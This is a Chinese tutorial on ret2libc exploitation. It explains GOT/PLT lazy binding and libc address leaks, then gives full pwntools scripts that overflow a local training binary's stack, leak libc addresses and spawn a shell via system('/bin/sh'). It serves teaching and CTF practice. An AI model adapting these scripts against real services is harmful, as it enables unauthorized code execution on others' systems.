Pwn入门之ret2libc详解
字数 1630 2025-08-11 08:35:50
Ret2libc攻击技术详解
1. 前置知识
1.1 GOT表和PLT表
- GOT表(全局偏移表,Global Offset Table):Linux ELF文件中用于定位全局变量和函数的一个表
- PLT表(过程链接表,Procedure Linkage Table):Linux ELF文件中用于延迟绑定的表
1.2 运行机制
程序运行过程中,PLT表和GOT表的交互过程:
- 可执行文件中保存的是PLT表的地址
- PLT地址指向的是GOT的地址
- GOT表最终指向glibc中的地址
1.3 延迟绑定机制
Linux为了节约系统资源和提高性能引入的机制:
-
函数第一次调用时:
- 首先跳转到PLT表
- 然后跳转到GOT表
- 如果函数从未调用过,GOT会跳转回PLT并调用补丁代码
- 补丁代码将函数真实地址填充到GOT表
- 最后跳转到函数真实地址执行
-
后续调用同一函数时:
- 跳转到PLT表
- 跳转到GOT表(此时已包含真实地址)
- 直接执行函数
2. 地址泄漏原理
- 当一个函数被调用过后,GOT表会保存其在内存中的地址
- 可以通过泄漏GOT表内存来泄漏函数地址
- 根据泄漏的函数地址可以确定libc版本
- 利用libc中函数偏移固定的特性计算其他函数地址
计算system函数地址示例
- 获取
__libc_start_main函数在内存中的地址addr_main - 获取
__libc_start_main相对于libc.so.6的偏移addr_main_offset - 获取system函数相对于libc.so.6的偏移
addr_system_offset - 计算system函数真实地址:
addr_main + addr_system_offset - addr_main_offset
3. Ret2libc基本思路
控制程序执行流跳转到libc中的函数,通常是返回到某个函数的PLT处。常见目标是执行system('/bin/sh')。
为什么必须使用PLT表而不是直接跳转到GOT表?
- PLT表中的地址对应的是指令
- GOT表中的地址对应的是指令地址
- 返回地址必须保存有效的汇编指令,因此必须使用PLT表
4. Ret2libc攻击类型分类
- 程序中自身包含system函数和"/bin/sh"字符串
- 程序中自身有system函数,但没有"/bin/sh"字符串
- 程序中自身没有system函数和"/bin/sh"字符串,但给出了libc.so文件
- 程序中自身没有system函数和"/bin/sh"字符串,并且没有给出libc.so文件(本文重点)
5. 无libc.so文件的攻击方法
5.1 基本思路
- 利用栈溢出及puts函数泄漏出GOT表中
__libc_start_main函数的地址 - puts函数的返回地址设为
_start函数 - 利用地址最低的12位找出libc版本(ASLR保护下最低12位不变)
- 根据libc版本计算system函数和/bin/sh字符串的内存地址
5.2 关键地址获取
需要获取以下三个地址:
__libc_start_main函数在GOT表的地址_start函数的地址- puts函数在PLT表中的地址
6. 实战示例
6.1 泄漏__libc_start_main地址
from pwn import *
sh = process('./ret2libc3')
puts_plt = 0x8048460
addr_start = 0x80484d0
got_libc_start = 0x804a024
payload = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_libc_start)
sh.recv()
sh.sendline(payload)
puts_addr = u32(sh.recv(4))
success("__libc_start_addr is:" + hex(puts_addr))
sh.recv()
6.2 确定libc版本
使用泄漏地址的最后3位(12位)在libc database search (https://libc.blukat.me/)查询
6.3 泄漏puts地址辅助确认
from pwn import *
sh = process('./ret2libc3')
puts_plt = 0x8048460
addr_start = 0x80484d0
got_libc_start = 0x804a024
got_puts = 0x804a018
# 获取__libc_start的地址
payload1 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_libc_start)
sh.recv()
sh.sendline(payload1)
libc_start_addr = u32(sh.recv(4))
success("__libc_start_addr is:" + hex(libc_start_addr))
# 获取puts的地址
payload2 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_puts)
sh.recv()
sh.sendline(payload2)
puts_addr = u32(sh.recv(4))
success("puts_addr is:" + hex(puts_addr))
6.4 完整攻击脚本
from pwn import *
sh = process('./ret2libc3')
puts_plt = 0x8048460
addr_start = 0x80484d0
got_libc_start = 0x804a024
got_puts = 0x804a018
# 获取__libc_start的地址
payload1 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_libc_start)
sh.recv()
sh.sendline(payload1)
libc_start_addr = u32(sh.recv(4))
success("__libc_start_addr is:" + hex(libc_start_addr))
# 获取puts的地址
payload2 = 112 * b'a' + p32(puts_plt) + p32(addr_start) + p32(got_puts)
sh.recv()
sh.sendline(payload2)
puts_addr = u32(sh.recv(4))
success("puts_addr is:" + hex(puts_addr))
sh.recv()
# 根据查找到的libc版本填入偏移
libc_start = 0x01edf0
libc_system = 0x045830
libc_binsh = 0x192352
libcbase = libc_start_addr - libc_start
system_addr = libcbase + libc_system
binsh_addr = libcbase + libc_binsh
payload = 112 * b'a' + p32(system_addr) + 4 * b'a' + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
7. 总结
Ret2libc攻击技术相比基础栈溢出:
- 对Linux程序运行机制理解要求更高
- 需要掌握GOT/PLT表的工作原理
- 需要理解延迟绑定机制
- 需要能够通过泄漏地址确定libc版本
- 需要计算函数在内存中的实际地址
关键点:
- 泄漏已知函数地址
- 确定libc版本
- 计算目标函数偏移
- 构造ROP链执行system('/bin/sh')